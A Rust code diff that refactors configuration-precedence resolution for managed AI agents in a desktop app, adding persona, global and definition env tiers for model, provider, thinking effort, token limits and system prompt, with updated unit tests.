@@ -144,15 +127,13 @@ pub(crate) fn read_config_surface(
     .collect();
 
     // Tier 2a: remaining env vars not covered by normalized fields.
-    // Env var wins over config file for the same key (tier 2a > 2b), so skip
-    // keys already present in file_config.extra.
     let mut advanced = advanced;
     for (k, v) in &record.env_vars {
         if normalized_env_keys.contains(&k.as_str()) {
             continue;
         }
         if file_config.extra.contains_key(k) {
-            continue; // config file already surfaced this key
+            continue;
         }
         advanced.push(ConfigField {
             key: k.clone(),
@@ -178,8 +159,6 @@ pub(crate) fn read_config_surface(
             {
                 ConfigTierStatus::Available
             } else {
-                // Post-spawn without native config data is also Pending — it arrives
-                // asynchronously after the session/new response.
                 ConfigTierStatus::Pending
             }
         } else {
@@ -226,9 +205,27 @@ fn mcp_config_file_path_for_runtime(runtime: &KnownAcpRuntime) -> Option<String>
     }
 }
 
+/// Extract an env-backed candidate value for `env_key` from each tier in
+/// spawn precedence: record env > persona env > global env > definition env.
+/// Returns `[record, persona, global, definition]` — `None` when key is absent.
+fn env_candidates<'a>(
+    env_key: &str,
+    record_env: &'a std::collections::BTreeMap<String, String>,
+    persona_env: &'a std::collections::BTreeMap<String, String>,
+    global_env: &'a std::collections::BTreeMap<String, String>,
+    definition_env: &'a std::collections::BTreeMap<String, String>,
+) -> [Option<&'a str>; 4] {
+    [
+        record_env.get(env_key).map(String::as_str),
+        persona_env.get(env_key).map(String::as_str),
+        global_env.get(env_key).map(String::as_str),
+        definition_env.get(env_key).map(String::as_str),
+    ]
+}
+
 #[allow(clippy::too_many_arguments)]
 fn build_model_field(
-    record_model: &Option<String>,
+    record: &ManagedAgentRecord,
     file_model: &Option<String>,
     acp_model: &Option<String>,
     model_env_var: Option<&str>,
@@ -236,30 +233,109 @@ fn build_model_field(
     is_pre_spawn: bool,
     session_cache: Option<&SessionConfigCache>,
     is_required: bool,
+    model_overridden: bool,
+    tiers: &InheritedConfigTiers,
 ) -> NormalizedField {
-    // Precedence: Buzz-explicit > ACP current > config file
-    let (value, origin) = if let Some(ref m) = record_model {
-        (Some(m.clone()), ConfigOrigin::BuzzExplicit)
-    } else if let Some(ref m) = acp_model {
-        (Some(m.clone()), ConfigOrigin::AcpConfigOption)
-    } else if let Some(ref m) = file_model {
-        (Some(m.clone()), ConfigOrigin::ConfigFile)
-    } else {
-        // No value from any tier. EnvVar is the sentinel origin for "no value
-        // resolved" — there is no dedicated None-origin variant. The panel
-        // renders this as an empty/absent field.
-        (None, ConfigOrigin::EnvVar)
-    };
+    let [rec_env, pers_env, glob_env, def_env] = model_env_var
+        .map(|k| {
+            env_candidates(
+                k,
+                &record.env_vars,
+                &tiers.persona_env,
+                &tiers.global_env,
+                &tiers.definition_env,
+            )
+        })
+        .unwrap_or([None, None, None, None]);
+
+    // Structured record model (definition-less only; linked cleared upstream).
+    let struct_record = record.model.as_deref();
+    let struct_persona = tiers.persona_model.as_deref();
+    let struct_global = tiers.global_model.as_deref();
+
+    // Configured candidates in spawn order: record env > persona env > global env >
+    // definition env > struct record > struct persona > struct global > file.
+    // The file entry is always last; everything before it is a "configured" candidate
+    // that gates whether ACP participates as a fallback (see any_configured below).
+    let configured: &[(Option<&str>, ConfigOrigin)] = &[
+        (rec_env, ConfigOrigin::BuzzExplicit),
+        (pers_env, ConfigOrigin::PersonaDefault),
+        (glob_env, ConfigOrigin::GlobalDefault),
+        (def_env, ConfigOrigin::HarnessDefault),
+        (struct_record, ConfigOrigin::BuzzExplicit),
+        (struct_persona, ConfigOrigin::PersonaDefault),
+        (struct_global, ConfigOrigin::GlobalDefault),
+        (file_model.as_deref(), ConfigOrigin::ConfigFile),
+    ];
+    // "Configured" = any non-file candidate. The file entry is always last, so
+    // slicing to len()-1 is equivalent to the old magic `[..6]` and stays correct
+    // if the array ever grows again.
+    let any_configured = configured[..configured.len() - 1]
+        .iter()
+        .any(|(v, _)| v.is_some());
+
+    // When model_overridden is true and ACP is present, ACP is the live winner.
+    // The top configured candidate becomes the secondary (the overridden baseline).
+    // Equal-value case: ACP == baseline → fall through to normal resolution so
+    // the field carries the correct baseline origin rather than RuntimeOverride.
+    if model_overridden {
+        if let Some(acp) = acp_model.as_deref() {
+            let baseline = configured.iter().find(|(v, _)| v.is_some());
+            match baseline {
+                Some((Some(baseline_value), _)) if acp == *baseline_value => {
+                    // Equal-value switch: no real divergence.
+                    // Fall through to the normal resolve path below — it will
+                    // return the same value with its true baseline origin, with
+                    // no secondary row.
+                }
+                Some((Some(baseline_value), baseline_origin)) => {
+                    return NormalizedField {
+                        value: Some(acp.to_string()),
+                        origin: ConfigOrigin::RuntimeOverride,
+                        write_via: model_write_mechanism(
+                            is_pre_spawn,
+                            supports_acp_model,
+                            session_cache,
+                            model_env_var,
+                        ),
+                        overridden_value: Some(baseline_value.to_string()),
+                        overridden_origin: Some(baseline_origin.clone()),
+                        is_required,
+                    };
+                }
+                _ => {
+                    // No configured baseline — ACP is the only source.
+                    return NormalizedField {
+                        value: Some(acp.to_string()),
+                        origin: ConfigOrigin::RuntimeOverride,
+                        write_via: model_write_mechanism(
+                            is_pre_spawn,
+                            supports_acp_model,
+                            session_cache,
+                            model_env_var,
+                        ),
+                        overridden_value: None,
+                        overridden_origin: None,
+                        is_required,
+                    };
+                }
+            }
+        }
+    }
 
-    // The secondary expresses ONLY the static record-vs-file precedence: a
-    // Buzz-explicit model shadowing a config-file model. The live-session
-    // override (acp vs record/persona) is exclusively `apply_runtime_override`'s
-    // job, gated on `model_overridden`. Surfacing `acp_model` here would leak an
-    // override row even when no live switch has been applied.
-    let (overridden_value, overridden_origin) = if record_model.is_some() && file_model.is_some() {
-        (file_model.clone(), Some(ConfigOrigin::ConfigFile))
+    let (value, origin, overridden_value, overridden_origin) = if !any_configured {
+        // No configured candidate: ACP participates as AcpConfigOption fallback.
+        let full: &[(Option<&str>, ConfigOrigin)] = &[
+            (acp_model.as_deref(), ConfigOrigin::AcpConfigOption),
+            (file_model.as_deref(), ConfigOrigin::ConfigFile),
+        ];
+        resolve_with_override(full).unwrap_or((None, ConfigOrigin::EnvVar, None, None))
     } else {
-        (None, None)
+        // ACP excluded: a configured value is pending and wins over live ACP.
+        match resolve_with_override(configured) {
+            Some(r) => r,
+            None => (None, ConfigOrigin::EnvVar, None, None),
+        }
     };
 
     let write_via = model_write_mechanism(
@@ -280,7 +356,6 @@ fn build_model_field(
 }
 
 /// Resolve how the model field is written back to the runtime.
-/// Prefer ACP `set_config_option`/`set_model` post-spawn, else env-var respawn.
 fn model_write_mechanism(
     is_pre_spawn: bool,
     supports_acp_model: bool,
@@ -301,67 +376,13 @@ fn model_write_mechanism(
     }
 }
 
-/// Re-key the model field as a live runtime override when the harness signals
-/// that a `SwitchModel` control signal set the model (Phase 3c).
-///
-/// The override-active signal is `model_overridden` from the
-/// `session_config_captured` payload — NOT `acp_model != persona_model`, which
-/// would false-positive when a persona model is edited mid-life while the
-/// session is stale on the old model.
-///
-/// `baseline` is the value the live model overrides, paired with its true
-/// origin — `(persona_model, PersonaDefault)` for a persona-linked agent, or
-/// `(record_model, BuzzExplicit)` for a genuine-explicit agent that live-
-/// switched. It is `Some` only when there is such a baseline to override
-/// against; otherwise the field passes through unchanged. Carrying the origin
-/// in the pair (rather than hardcoding it) lets the secondary be tagged by its
-/// real source instead of always reading `PersonaDefault`.
-///
-/// The `acp == baseline_value` short-circuit keeps a live pick of the baseline
-/// model itself from rendering a no-op "override of X with X". It yields a
-/// CLEAN single-value field — `overridden_value`/`overridden_origin` cleared —
-/// rather than passing `base` through, because `build_model_field` already
-/// populates `base`'s secondary with an `AcpConfigOption` row for the
-/// record-model-plus-live-session case; returning `base` would leak that
-/// spurious row. The override preserves the base field's write mechanism — only
-/// the displayed value, origin, and secondary change.
-fn apply_runtime_override(
-    base: NormalizedField,
-    acp_model: Option<&str>,
-    baseline: Option<(&str, ConfigOrigin)>,
-    model_overridden: bool,
-) -> NormalizedField {
-    if !model_overridden {
-        return base;
-    }
-    let (Some(acp), Some((baseline_value, baseline_origin))) = (acp_model, baseline) else {
-        return base;
-    };
-    if acp == baseline_value {
-        // Live pick equals the baseline — no real divergence. Strip any
-        // secondary `build_model_field` may have produced so the panel shows a
-        // single clean value rather than "X overridden by X".
-        return NormalizedField {
-            overridden_value: None,
-            overridden_origin: None,
-            ..base
-        };
-    }
-    NormalizedField {
-        value: Some(acp.to_string()),
-        origin: ConfigOrigin::RuntimeOverride,
-        overridden_value: Some(baseline_value.to_string()),
-        overridden_origin: Some(baseline_origin),
-        ..base
-    }
-}
-
 fn build_provider_field(
-    record_provider: &Option<String>,
+    record: &ManagedAgentRecord,
     file_provider: &Option<String>,
     provider_env_var: Option<&str>,
     provider_locked: bool,
     is_required: bool,
+    tiers: &InheritedConfigTiers,
 ) -> Option<NormalizedField> {
     if provider_locked {
         return Some(NormalizedField {
@@ -374,15 +395,43 @@ fn build_provider_field(
         });
     }
 
-    let tiers: &[(Option<&str>, ConfigOrigin)] = &[
-        (record_provider.as_deref(), ConfigOrigin::BuzzExplicit),
+    let [rec_env, pers_env, glob_env, def_env] = provider_env_var
+        .map(|k| {
+            env_candidates(
+                k,
+                &record.env_vars,
+                &tiers.persona_env,
+                &tiers.global_env,
+                &tiers.definition_env,
+            )
+        })
+        .unwrap_or([None, None, None, None]);
+
+    let struct_record = record.provider.as_deref();
+
+    let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[
+        (rec_env, ConfigOrigin::BuzzExplicit),
+        (pers_env, ConfigOrigin::PersonaDefault),
+        (glob_env, ConfigOrigin::GlobalDefault),
+        (def_env, ConfigOrigin::HarnessDefault),
+        (struct_record, ConfigOrigin::BuzzExplicit),
+        (
+            tiers.persona_provider.as_deref(),
+            ConfigOrigin::PersonaDefault,
+        ),
+        (
+            tiers.global_provider.as_deref(),
+            ConfigOrigin::GlobalDefault,
+        ),
         (file_provider.as_deref(), ConfigOrigin::ConfigFile),
     ];
-    let (value, origin, overridden_value, overridden_origin) = match resolve_with_override(tiers) {
-        Some(resolved) => resolved,
-        None if is_required => (None, ConfigOrigin::EnvVar, None, None),
-        None => return None,
-    };
+
+    let (value, origin, overridden_value, overridden_origin) =
+        match resolve_with_override(tiers_list) {
+            Some(resolved) => resolved,
+            None if is_required => (None, ConfigOrigin::EnvVar, None, None),
+            None => return None,
+        };
 
     let write_via = if let Some(env_key) = provider_env_var {
         ConfigWriteMechanism::RespawnWithEnvVar {
@@ -432,20 +481,38 @@ fn build_mode_field(
     })
 }
 
+#[allow(clippy::too_many_arguments)]
 fn build_thinking_field(
-    record_effort: &Option<String>,
+    record: &ManagedAgentRecord,
     file_effort: &Option<String>,
     acp_effort: &Option<String>,
     thinking_env_var: Option<&str>,
     is_pre_spawn: bool,
     session_cache: Option<&SessionConfigCache>,
+    tiers: &InheritedConfigTiers,
 ) -> Option<NormalizedField> {
-    let tiers: &[(Option<&str>, ConfigOrigin)] = &[
-        (record_effort.as_deref(), ConfigOrigin::BuzzExplicit),
+    // Tier ordering: record env > ACP > persona env > global env > definition env > config file.
+    let [rec_env, pers_env, glob_env, def_env] = thinking_env_var
+        .map(|k| {
+            env_candidates(
+                k,
+                &record.env_vars,
+                &tiers.persona_env,
+                &tiers.global_env,
+                &tiers.definition_env,
+            )
+        })
+        .unwrap_or([None, None, None, None]);
+
+    let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[
+        (rec_env, ConfigOrigin::BuzzExplicit),
         (acp_effort.as_deref(), ConfigOrigin::AcpConfigOption),
+        (pers_env, ConfigOrigin::PersonaDefault),
+        (glob_env, ConfigOrigin::GlobalDefault),
+        (def_env, ConfigOrigin::HarnessDefault),
         (file_effort.as_deref(), ConfigOrigin::ConfigFile),
     ];
-    let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers)?;
+    let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?;
 
     let write_via = if !is_pre_spawn && has_config_option(session_cache, "effort") {
         ConfigWriteMechanism::AcpSetConfigOption {
@@ -469,67 +536,105 @@ fn build_thinking_field(
     })
 }
 
-/// Numeric fields (max_output_tokens, context_limit) — env-var tier wins over
-/// config-file tier. When an env var key is given and present in the record's
-/// env_vars map the field is BuzzExplicit + RespawnWithEnvVar; otherwise if the
-/// config file supplied a value it is ConfigFile + ReadOnly; otherwise None.
+/// Numeric fields (max_output_tokens, context_limit).
+/// Tier ordering: record env > persona env > global env > config file.
 fn build_numeric_env_field(
     env_var: Option<&'static str>,
-    record_env: &std::collections::BTreeMap<String, String>,
+    record: &ManagedAgentRecord,
     file_value: &Option<String>,
+    tiers: &InheritedConfigTiers,
 ) -> Option<NormalizedField> {
-    if let Some(key) = env_var {
-        if let Some(v) = record_env.get(key) {
-            return Some(NormalizedField {
-                value: Some(v.clone()),
-                origin: ConfigOrigin::BuzzExplicit,
-                write_via: ConfigWriteMechanism::RespawnWithEnvVar {
-                    env_key: key.to_string(),
-                },
-                overridden_value: file_value.clone(),
-                overridden_origin: file_value.as_ref().map(|_| ConfigOrigin::ConfigFile),
-                is_required: false,
-            });
+    let [rec_env, pers_env, glob_env, def_env] = env_var
+        .map(|k| {
+            env_candidates(
+                k,
+                &record.env_vars,
+                &tiers.persona_env,
+                &tiers.global_env,
+                &tiers.definition_env,
+            )
+        })
+        .unwrap_or([None, None, None, None]);
+
+    let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[
+        (rec_env, ConfigOrigin::BuzzExplicit),
+        (pers_env, ConfigOrigin::PersonaDefault),
+        (glob_env, ConfigOrigin::GlobalDefault),
+        (def_env, ConfigOrigin::HarnessDefault),
+        (file_value.as_deref(), ConfigOrigin::ConfigFile),
+    ];
+
+    let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?;
+
+    let write_via = if let Some(key) = env_var {
+        ConfigWriteMechanism::RespawnWithEnvVar {
+            env_key: key.to_string(),
         }
-    }
-    file_value.as_ref().map(|v| NormalizedField {
-        value: Some(v.clone()),
-        origin: ConfigOrigin::ConfigFile,
-        write_via: ConfigWriteMechanism::ReadOnly,
-        overridden_value: None,
-        overridden_origin: None,
+    } else {
+        ConfigWriteMechanism::ReadOnly
+    };
+
+    Some(NormalizedField {
+        value,
+        origin,
+        write_via,
+        overridden_value,
+        overridden_origin,
         is_required: false,
     })
 }
 
-/// Record/env prompt wins (BuzzExplicit, respawnable); a config-file prompt it
-/// shadows is reported as the overridden secondary. A config-file-only prompt
-/// — no record/env value to shadow it — is surfaced directly (read-only)
-/// instead of being dropped: a prompt that drives the agent should always be
-/// visible somewhere in the panel.
+/// System prompt field.
+///
+/// Tier ordering per v3 plan: record env > persona env > global env >
+/// struct record > struct persona > config file.
+///
+/// Env tiers sit above structured per spawn contract: `descriptor.env` is
+/// written last (after the structured prompt), so env wins on collision.
+/// `GlobalAgentConfig` has no structured system_prompt, so the global tier
+/// is env-only. `BUZZ_ACP_SYSTEM_PROMPT` is not reserved and is therefore
+/// a real global env tier.
 fn build_system_prompt_field(
-    record_prompt: &Option<String>,
+    record: &ManagedAgentRecord,
     file_prompt: &Option<String>,
+    tiers: &InheritedConfigTiers,
 ) -> Option<NormalizedField> {
-    if let Some(v) = record_prompt {
-        return Some(NormalizedField {
-            value: Some(v.clone()),
-            origin: ConfigOrigin::BuzzExplicit,
-            write_via: ConfigWriteMechanism::RespawnWithEnvVar {
-                env_key: "BUZZ_ACP_SYSTEM_PROMPT".to_string(),
-            },
-            overridden_value: file_prompt.clone(),
-            overridden_origin: file_prompt.as_ref().map(|_| ConfigOrigin::ConfigFile),
-            is_required: false,
-        });
-    }
+    const PROMPT_ENV_KEY: &str = "BUZZ_ACP_SYSTEM_PROMPT";
+
+    let [rec_env, pers_env, glob_env, def_env] = env_candidates(
+        PROMPT_ENV_KEY,
+        &record.env_vars,
+        &tiers.persona_env,
+        &tiers.global_env,
+        &tiers.definition_env,
+    );
+
+    // Structured record prompt (definition-less only; linked cleared upstream).
+    let struct_record = record.system_prompt.as_deref();
+
+    let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[
+        (rec_env, ConfigOrigin::BuzzExplicit),       // record env
+        (pers_env, ConfigOrigin::PersonaDefault),    // persona env
+        (glob_env, ConfigOrigin::GlobalDefault),     // global env
+        (def_env, ConfigOrigin::HarnessDefault),     // definition env
+        (struct_record, ConfigOrigin::BuzzExplicit), // struct record
+        (
+            tiers.persona_prompt.as_deref(),
+            ConfigOrigin::PersonaDefault,
+        ), // struct persona
+        (file_prompt.as_deref(), ConfigOrigin::ConfigFile),
+    ];
 
-    file_prompt.as_ref().map(|v| NormalizedField {
-        value: Some(v.clone()),
-        origin: ConfigOrigin::ConfigFile,
-        write_via: ConfigWriteMechanism::ReadOnly,
-        overridden_value: None,
-        overridden_origin: None,
+    let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?;
+
+    Some(NormalizedField {
+        value,
+        origin,
+        write_via: ConfigWriteMechanism::RespawnWithEnvVar {
+            env_key: PROMPT_ENV_KEY.to_string(),
+        },
+        overridden_value,
+        overridden_origin,
         is_required: false,
     })
 }
diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs
index 4ee4ec79c3..62caffeb2e 100644
--- a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs
+++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs
@@ -56,6 +56,7 @@ fn test_runtime() -> &'static KnownAcpRuntime {
         thinking_env_var: Some("GOOSE_THINKING_EFFORT"),
         max_tokens_env_var: Some("GOOSE_MAX_TOKENS"),
         context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"),
+        max_rounds_env_var: None,
         required_normalized_fields: &["model", "provider"],
         login_hint: None,
         auth_probe_args: None,
@@ -120,11 +121,53 @@ fn test_record() -> ManagedAgentRecord {
     }
 }
 
+/// Default empty tiers: no persona or global inheritance.
+fn no_tiers() -> InheritedConfigTiers {
+    InheritedConfigTiers::default()
+}
+
+/// Tiers with only global env set (for AC-1 style tests).
+fn global_env_tiers(key: &str, val: &str) -> InheritedConfigTiers {
+    let mut global_env = BTreeMap::new();
+    global_env.insert(key.to_string(), val.to_string());
+    InheritedConfigTiers {
+        global_env,
+        ..Default::default()
+    }
+}
+
+/// Tiers with only persona env set.
+fn persona_env_tiers(key: &str, val: &str) -> InheritedConfigTiers {
+    let mut persona_env = BTreeMap::new();
+    persona_env.insert(key.to_string(), val.to_string());
+    InheritedConfigTiers {
+        persona_env,
+        ..Default::default()
+    }
+}
+
+/// Tiers with both persona and global env set for the same key.
+fn persona_and_global_env_tiers(
+    key: &str,
+    persona_val: &str,
+    global_val: &str,
+) -> InheritedConfigTiers {
+    let mut persona_env = BTreeMap::new();
+    persona_env.insert(key.to_string(), persona_val.to_string());
+    let mut global_env = BTreeMap::new();
+    global_env.insert(key.to_string(), global_val.to_string());
+    InheritedConfigTiers {
+        persona_env,
+        global_env,
+        ..Default::default()
+    }
+}
+
 #[test]
 fn pre_spawn_surface_reports_pending_acp_tiers() {
     let record = test_record();
     let runtime = test_runtime();
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     assert!(surface.is_pre_spawn);
     assert_eq!(surface.sources.acp_native, ConfigTierStatus::Pending);
@@ -140,7 +183,7 @@ fn surface_reports_mcp_specific_config_path() {
     let record = test_record();
     let runtime = test_runtime();
     let surface = with_goose_path_root(None, || {
-        read_config_surface(&record, Some(runtime), None, None)
+        read_config_surface(&record, Some(runtime), None, &no_tiers())
     });
 
     let path = surface
@@ -159,7 +202,7 @@ fn goose_mcp_config_path_follows_path_root_override() {
     let record = test_record();
     let runtime = test_runtime();
     let surface = with_goose_path_root(Some("/tmp/buzz-goose-root"), || {
-        read_config_surface(&record, Some(runtime), None, None)
+        read_config_surface(&record, Some(runtime), None, &no_tiers())
     });
 
     let expected_path = Path::new("/tmp/buzz-goose-root")
@@ -183,7 +226,7 @@ fn claude_surface_uses_mcp_config_path_not_settings_path() {
         config_file_path: Some("~/.claude/settings.json"),
         ..*test_runtime()
     };
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     assert!(surface
         .sources
@@ -203,7 +246,7 @@ fn record_model_overrides_file_model() {
     record.model = Some("explicit-model".to_string());
     let runtime = test_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
     let model = surface.normalized.model.unwrap();
     assert_eq!(model.value.as_deref(), Some("explicit-model"));
     assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
@@ -216,7 +259,7 @@ fn provider_locked_shows_locked() {
         provider_locked: true,
         ..*test_runtime()
     };
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
     let provider = surface.normalized.provider.unwrap();
     assert_eq!(provider.value.as_deref(), Some("Anthropic (locked)"));
     assert_eq!(provider.origin, ConfigOrigin::HarnessConstraint);
@@ -242,7 +285,7 @@ fn post_spawn_with_model_config_option_uses_acp() {
         captured_at: "".to_string(),
     };
 
-    let surface = read_config_surface(&record, Some(runtime), Some(&cache), None);
+    let surface = read_config_surface(&record, Some(runtime), Some(&cache), &no_tiers());
     assert!(!surface.is_pre_spawn);
     let model = surface.normalized.model.unwrap();
     assert_eq!(model.value.as_deref(), Some("claude-opus-4"));
@@ -266,53 +309,86 @@ fn acp_model_overrides_file_model_with_override_tracking() {
         captured_at: "".to_string(),
     };
 
-    let surface = read_config_surface(&record, Some(runtime), Some(&cache), None);
+    let surface = read_config_surface(&record, Some(runtime), Some(&cache), &no_tiers());
     let model = surface.normalized.model.unwrap();
     assert_eq!(model.value.as_deref(), Some("acp-model"));
     assert_eq!(model.origin, ConfigOrigin::AcpConfigOption);
-    // The goose config file might have a model too — since we can't control
-    // the actual file in a unit test, just verify the override fields are populated
-    // when we manually construct the scenario via build_model_field.
 }
 
-// ── Persona resolution integration tests ────────────────────────────
-//
-// These simulate the call-site pattern in agent_config.rs:
-// 1. Inject persona-resolved values into the record (as if absent)
-// 2. Call read_config_surface (reader tags them BuzzExplicit)
-// 3. Re-tag injected fields to PersonaDefault
+// ── Persona / global tier integration tests ──────────────────────────────────
 //
-// This exercises the same logic path as get_agent_config_surface without
-// requiring Tauri AppHandle/State infrastructure.
+// These exercise the tiers-based candidate resolution for model, provider, and
+// system_prompt via `InheritedConfigTiers` — replacing the old inject+retag
+// simulation tests.
 
 #[test]
-fn persona_model_injection_produces_persona_default_origin() {
-    let mut record = test_record();
-    // Simulate: record has no model, persona provides one.
-    // The call-site injects it before calling the reader.
-    record.model = Some("persona-model".to_string());
+fn persona_model_tier_produces_persona_default_origin() {
+    let record = test_record(); // no record.model
     let runtime = test_runtime();
+    let tiers = InheritedConfigTiers {
+        persona_model: Some("persona-model".to_string()),
+        ..Default::default()
+    };
 
-    let mut surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
 
-    // Reader sees injected model as BuzzExplicit.
-    let model = surface.normalized.model.as_ref().unwrap();
+    let model = surface.normalized.model.unwrap();
     assert_eq!(model.value.as_deref(), Some("persona-model"));
-    assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
+    assert_eq!(model.origin, ConfigOrigin::PersonaDefault);
+}
 
-    // Call-site re-tags (simulating had_model == false).
-    if let Some(ref mut field) = surface.normalized.model {
-        if field.origin == ConfigOrigin::BuzzExplicit {
-            field.origin = ConfigOrigin::PersonaDefault;
-        }
-    }
+#[test]
+fn global_model_tier_produces_global_default_origin() {
+    let record = test_record();
+    let runtime = test_runtime();
+    let tiers = InheritedConfigTiers {
+        global_model: Some("global-model".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
 
     let model = surface.normalized.model.unwrap();
-    assert_eq!(model.value.as_deref(), Some("persona-model"));
-    assert_eq!(model.origin, ConfigOrigin::PersonaDefault);
+    assert_eq!(model.value.as_deref(), Some("global-model"));
+    assert_eq!(model.origin, ConfigOrigin::GlobalDefault);
+}
+
+#[test]
+fn persona_provider_tier_produces_persona_default_origin() {
+    let record = test_record();
+    let runtime = test_runtime();
+    let tiers = InheritedConfigTiers {
+        persona_provider: Some("anthropic".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let provider = surface.normalized.provider.unwrap();
+    assert_eq!(provider.value.as_deref(), Some("anthropic"));
+    assert_eq!(provider.origin, ConfigOrigin::PersonaDefault);
 }
 
-// ── Runtime override (Phase 3c) ──────────────────────────────────────
+#[test]
+fn persona_prompt_tier_produces_persona_default_origin() {
+    let record = test_record();
+    let runtime = test_runtime();
+    let tiers = InheritedConfigTiers {
+        persona_prompt: Some("You are a helpful assistant.".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let prompt = surface.normalized.system_prompt.unwrap();
+    assert_eq!(
+        prompt.value.as_deref(),
+        Some("You are a helpful assistant.")
+    );
+    assert_eq!(prompt.origin, ConfigOrigin::PersonaDefault);
+}
+
+// ── Runtime override (model_overridden gate) ──────────────────────────────────
 //
 // A live ModelPicker switch is signalled by `model_overridden: true` in the
 // `session_config_captured` payload. The reader keys the override-active
@@ -321,7 +397,7 @@ fn persona_model_injection_produces_persona_default_origin() {
 
 #[test]
 fn runtime_override_wins_display_when_model_overridden_is_true() {
-    // Persona-linked agent (record.model == None); persona == "persona-model".
+    // Persona-linked agent (record.model == None); persona model via tiers.
     // A live switch pushed "live-model" to the session and set model_overridden.
     let record = test_record();
     let runtime = test_runtime();
@@ -334,29 +410,27 @@ fn runtime_override_wins_display_when_model_overridden_is_true() {
         goose_native_config: None,
         captured_at: "".to_string(),
     };
+    let tiers = InheritedConfigTiers {
+        persona_model: Some("persona-model".to_string()),
+        ..Default::default()
+    };
 
-    let surface = read_config_surface(
-        &record,
-        Some(runtime),
-        Some(&cache),
-        Some(("persona-model", ConfigOrigin::PersonaDefault)),
-    );
+    let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers);
     let model = surface.normalized.model.unwrap();
 
     // Override wins the display value with a runtime-override origin.
     assert_eq!(model.value.as_deref(), Some("live-model"));
     assert_eq!(model.origin, ConfigOrigin::RuntimeOverride);
-    // Persona is the secondary value (not struck through — the UI keys off
-    // the RuntimeOverride origin to suppress strikethrough).
+    // Persona is the secondary value.
     assert_eq!(model.overridden_value.as_deref(), Some("persona-model"));
     assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault));
 }
 
 #[test]
 fn no_runtime_override_when_model_overridden_is_false() {
-    // At spawn the session's current_model == persona model (BUZZ_ACP_MODEL
-    // is set to the persona model) and model_overridden is false. No override;
-    // the field falls through to normal precedence.
+    // At spawn the session's current_model == persona model and
+    // model_overridden is false. No override; field falls through to normal
+    // precedence.
     let record = test_record();
     let runtime = test_runtime();
     let cache = SessionConfigCache {
@@ -368,17 +442,15 @@ fn no_runtime_override_when_model_overridden_is_false() {
         goose_native_config: None,
         captured_at: "".to_string(),
     };
+    let tiers = InheritedConfigTiers {
+        persona_model: Some("persona-model".to_string()),
+        ..Default::default()
+    };
 
-    let surface = read_config_surface(
-        &record,
-        Some(runtime),
-        Some(&cache),
-        Some(("persona-model", ConfigOrigin::PersonaDefault)),
-    );
+    let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers);
     let model = surface.normalized.model.unwrap();
 
-    // model_overridden is false => the override branch is not taken: origin
-    // is the normal precedence result, never RuntimeOverride.
+    // model_overridden is false => the override branch is not taken.
     assert_ne!(model.origin, ConfigOrigin::RuntimeOverride);
     assert_eq!(model.value.as_deref(), Some("persona-model"));
     assert_ne!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault));
@@ -402,106 +474,51 @@ fn no_false_positive_override_when_persona_edited_mid_life() {
         goose_native_config: None,
         captured_at: "".to_string(),
     };
+    let tiers = InheritedConfigTiers {
+        persona_model: Some("new-persona-model".to_string()),
+        ..Default::default()
+    };
 
-    let surface = read_config_surface(
-        &record,
-        Some(runtime),
-        Some(&cache),
-        Some(("new-persona-model", ConfigOrigin::PersonaDefault)),
-    );
+    let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers);
     let model = surface.normalized.model.unwrap();
 
     // model_overridden is false => no RuntimeOverride, even though
     // acp_model != persona_model. The old divergence-based signal would
-    // have false-positived here. The persona is never surfaced as the
-    // overridden secondary (that marker is exclusive to a real override).
+    // have false-positived here.
     assert_ne!(model.origin, ConfigOrigin::RuntimeOverride);
     assert_ne!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault));
 }
 
-#[test]
-fn persona_provider_injection_produces_persona_default_origin() {
-    let mut record = test_record();
-    // Simulate: record has no provider env var, persona provides one.
-    // The call-site injects it as GOOSE_PROVIDER before calling the reader.
-    record
-        .env_vars
-        .insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string());
-    let runtime = test_runtime();
-
-    let mut surface = read_config_surface(&record, Some(runtime), None, None);
-
-    // Reader sees injected provider as BuzzExplicit.
-    let provider = surface.normalized.provider.as_ref().unwrap();
-    assert_eq!(provider.value.as_deref(), Some("anthropic"));
-    assert_eq!(provider.origin, ConfigOrigin::BuzzExplicit);
-
-    // Call-site re-tags (simulating had_provider == false).
-    if let Some(ref mut field) = surface.normalized.provider {
-        if field.origin == ConfigOrigin::BuzzExplicit {
-            field.origin = ConfigOrigin::PersonaDefault;
-        }
-    }
-
-    let provider = surface.normalized.provider.unwrap();
-    assert_eq!(provider.value.as_deref(), Some("anthropic"));
